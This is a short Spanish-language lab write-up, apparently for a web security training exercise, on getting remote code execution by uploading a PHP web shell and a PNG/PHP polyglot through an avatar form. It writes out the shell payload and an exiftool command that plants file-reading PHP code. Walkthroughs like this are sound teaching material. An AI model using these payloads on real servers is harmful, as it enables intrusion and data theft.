Skip to content

Remote code execution via polyglot web shell upload

[20251014224059.png]

En el apartado de subir un avatar del sitio intentaremos subir un archivo malicioso.

[20251014224234.png]

c
------geckoformboundary69c2b45d1abe6b2d1eb23f1635e77264
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

------geckoformboundary69c2b45d1abe6b2d1eb23f1635e77264

Content-Disposition: form-data; name="user"

al intentar subir el archivo este nos dice que no puede subir el archivo debido a que esta permitido.

[20251014224248.png]

[20251014225113.png]

c
❯ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" web-shell.png -o polyglot.php
    1 image files created

Este comando usa ExifTool para crear un archivo políglota que es tanto una imagen PNG válida como un script PHP. Te lo explico paso a paso:

  • exiftool -Comment="..." - Modifica el metadato "Comentario" de la imagen
  • El código PHP dentro del comentario: <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>
  • web-shell.png - El archivo de entrada (imagen PNG original)
  • -o polyglot.php - Guarda el resultado como polyglot.php

Lo que se crea:

Un archivo políglota que:

  • Como PNG: Sigue siendo una imagen válida (los visores ignoran el código PHP en los metadatos)
  • Como PHP: Cuando un servidor PHP lo interpreta, ejecuta el código para leer el archivo secreto de Carlos

Ahora intentamos subir:

[20251014225149.png]

el archivo se sube sin restricciones.

[20251014225129.png]

Luego podemos llamarlo y obtener la flag.

[20251014225225.png]